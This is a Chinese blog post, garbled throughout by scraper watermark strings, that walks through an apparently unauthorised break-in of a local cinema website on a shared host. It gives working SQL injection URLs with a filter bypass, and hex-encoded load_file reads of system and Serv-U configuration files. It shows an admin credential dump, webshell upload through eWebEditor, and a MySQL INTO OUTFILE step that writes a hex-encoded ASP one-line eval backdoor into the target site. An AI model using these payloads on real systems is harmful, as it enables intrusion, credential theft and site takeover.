最近大片比较多,所以在网上时有关注电影院里的电影上映排档,于是有了下面针对本市某电影网的综合检测的过程。IXPUB技术博客 N%B0^ E6B._一.信息收集
'g,@
@1Xh-P0 通过扫描得知目标服务器开放了21,80两个端口,而目标站点采用的是ASP的整站程序,在www.114best.com查询发现服务器上绑定了4个域名(图1)
,确定服务器是个虚拟主机,其中三个是与目标站类似的ASP整站系统,而另外一个则是PHP架构的网站。IXPUB技术博客;AH b%C/\
M5I'o;Ck!Gt
先从目标站入手,点开个链接开始测试是否存在注入漏洞。提交IXPUB技术博客n XEJ5BYZFnY0KS
http://www.testAsp.com/gb/action_detail.asp?nid=90’IXPUB技术博客.f*nI @LavN:KH f
立刻弹出了错误提示,试下转换把i换成%69继续提交
L2p$xL"mHs/nh0http://www.testAsp.com/gb/action_detail.asp?n%69d=90 and 1=1IXPUB技术博客!AP.XD$r6t)fL%H
http://www.testAsp.com/gb/action_detail.asp?n%69d=90 and 1=2IXPUB技术博客&mFQ;e\MN1H
绕过了防(图2)
,这个主要是因为防注代码过滤不严造成的,只对’nid’进行过滤,我们只要把’nid’转换一下格式就可以了。
*l7U'HO o[9wI*V}T
d0这个注点权限是pulic,而利用NBSI暴管理员字段的时候也出现了错误,暂时用途不大,通过跨库发现数据库有很多,可以猜测该服务器绑定的域名不只有4个。IXPUB技术博客9T"i{(ViE"_A'^
7X9zud0n3SH
x0二.PHP旁注
y9s^5_9h0 经过测试其他两个ASP系统的注射点同样是public权限,所以只能从PHP站入手了。直接找出了一个注射点,提交
*@&wj2hqd;O ]0http://www.testPhp.gov.cn/news_detail.php?nid=3031’
1I3{3[)D*dw;f0暴出了网站路径(图3)
D:\www.testPhp.gov.cn\ ,IXPUB技术博客g%Y0zs*e
通过这个路径可以推测一下目标站的路径是D:\www.testAsp.com,而这个猜测可以通过load_file()去读取该站的一个asp文件是否存在来证实。
*F
Rx:K?#R0 利用oder by num 确定出该注射点的列名数量,提交IXPUB技术博客
|g+sEFR ti@%n
http://www.testPhp.gov.cn/news_detail.php?nid=3031 order by 15
'H*]H9H/g0http://www.testPhp.gov.cn/news_detail.php?nid=3031 order by 16IXPUB技术博客M@ZRq9e
提交到16的时候出现了图3的错误,确定列名数量是15。IXPUB技术博客8erF,y|,z$HT9w3o
继续提交IXPUB技术博客4SQM B#ib/[Z T"P
http://www.testPhp.gov.cn/news_detail.php?nid=3031 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15IXPUB技术博客}q{"hq
只有第5列和第14列的内容是显示到页面上的,选择区域大的14进行load_file,IXPUB技术博客5Zv;d&X'h#S\
先试下读取c:\boot.ini,提交
hjN u
_4i3H0http://www.testPhp.gov.cn/news_detail.php?nid=3031 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,load_file(’c:/boot.ini’),15IXPUB技术博客G)MujJ4T`F5d
返回图3错误,这是因为PHP环境里的magic_quote设置为on了,magic_quote是一个自动将进入 PHP 脚本的数据进行转义的过程,当设置为on时,所有的单引号(’),双引号("),反斜线(\)和NULL字符都会被自动加上一个反斜线进行转义。但是只要把要load的内容转换成16进制就可以绕开转义了,我这里用的是小葵的转换工具,继续提交IXPUB技术博客C)D9`(zH4M1tf
http://www.testPhp.gov.cn/news_detail.php?nid=3031 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,load_file(0x633A5C626F6F742E696E69),15
c1hd%`6k(q,bH0出来了系统版本(图4)
,试验成功了就可以去load其他路径的文件了,首先用D盘做路径load了一下目标站的一个asp,发现目标站点并不在D盘,而用桂林老兵的WebTools对Php站进行路径扫描后也没发现后台,旁注一时陷入了困境,陷入了拿到管理员密码也没后台登陆的局面。
k+l[Aj*[YI7rB0u'w&N6|x u1E]y w0三.新的缺口
hS#fv3|w)m+TK0 无奈之下只能靠猜路径了,要得到网站位置和结构,最好的方法无疑是去load ServU的配置文件,从c盘开始试c:\program files\serv-u\servudaemon.ini,c:\serv-u\servudaemon.ini,结果到D盘的时候load出了配置文件(图5)
,路径是d:\serv-u\ServUdaemon.ini。从配置文件里几乎包含了所有站点的后台和数据库目录,后台路径是/maintain/,而目标站点的路径原来是e:\www\www.testAsp.com。有了后台地址就可以暴管理员的密码了,点开管理员登陆页面查看原码,通过action找到验证登陆的php文件,代码如下。
,Gcf-L v#n0IXPUB技术博客rT2kBl2K2n){
只要load出loginadmin.php就可以知道管理员表,用户列名和密码列名,从而避免了繁琐的猜测了,最后得到以下关键代码。
SdARj7`0IXPUB技术博客&FE8A S"P0{cq$uname=$HTTP_POST_VARS["user"];
s"O {V1w;D$m0$upass=md5($HTTP_POST_VARS["password"]);IXPUB技术博客'c*D"g"AM4w
$query="select uid,uname,uadmin,utname,upermit from admintab where uname=’$uname’ and upass=’$upass’";
UrWaN&h
B6F0IXPUB技术博客&x3h`]:?+}lp顺利拿到用户列uname,密码列upass和管理员表admintab,通过代码可以看到密码经过md5加密的,但是仍然可以碰下运气。
'p&e3e+\
hJ2ew0接着就可以暴密码了,提交IXPUB技术博客l0M%pk/Xcpi
http://www.testPhp.gov.cn/news_detail.php?nid=3031 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,concat(uname,0x7c,upass),15 from admintab
-NS`v&f!urJ!HwitQ0得到管理员帐号和密码(图6)
,在cmd5里查询得出的密码明文是1234,顺利登进了后台。IXPUB技术博客
C|9Nns:|e{C
IXPUB技术博客B\T]Yv2s四.跨目录传Webshell
Dtg'r"OET0 继续在后台里寻找利用的地方时,发现增加资料模块调用的是PHP版的eWebEditor(图7)
,于是下了套php版的eWebEditor回来分析,发现PHP版的登陆帐户和密码是明文保存在/php/config.php里,所以只要load出这个配置文件,就可以登陆进去了(图8)
。关于asp版的eWebEditor拿webshell的方法大家都十分熟悉了,而PHP版的用的同样也是在样式里添加后门格式的办法,限于篇幅这里就不做详细说明了。最后成功得到了一个phpshell,因为我们的目标站在E盘,而服务器配置限制了目录跳转,所以这时还能利用的是权限较高的MySql了,在phpMyadmin目录里的config.inc.php里找到了数据库连接代码,内容如下。
,SdNN-c@03nm|4X{]0$cfg[’Servers’][$i][’host’] = ’localhost’;IXPUB技术博客!Q:Y4[M a4Wf
$cfg[’Servers’][$i][’extension’] = ’mysql’;IXPUB技术博客wk(I^e
$cfg[’Servers’][$i][’port’] = ’3306’;IXPUB技术博客s#K(~!Wt*rNG
$cfg[’Servers’][$i][’connect_type’] = ’tcp’;
d.GZW#t3tJVA0$cfg[’Servers’][$i][’compress’] = false;IXPUB技术博客vx&S7Y U0T
$cfg[’Servers’][$i][’controluser’] = ’root’;
-_}%[$f4Z6UH"h|-fg_-l0$cfg[’Servers’][$i][’controlpass’] = ’’;IXPUB技术博客(nt$Z:VN(Z9t%mM
IXPUB技术博客(cd7h.R/C*FqD1M在PhpSpy里有MySQL Manager功能,首先用root用户和空密码连接上MySql,然后再利用MySql的输出功能来导出一个aspshell到目标站点,连接后选择一个数据库,然后依次执行以下SQL。IXPUB技术博客&Ta;]#oQl
6qh3I-pe0create table x(cmd text) 建立一个数据表,列名为cmd,格式是textIXPUB技术博客8RABM,Gj
insert into x values(0x3C256576616C20726571756573742822612229253E20) 插入经过16进制转换的asp一句话木马
y~9nvl,NM0select * from x 查询写入内容(图9)
IXPUB技术博客K ~E(YQ$fI%}
select * from x into outfile ’e:/www/www.testAsp.com/sand.asp’ 导出一句话木马到目标站点,最后成功拿到目标站点的控制权(图10)
IXPUB技术博客 GHD|r0E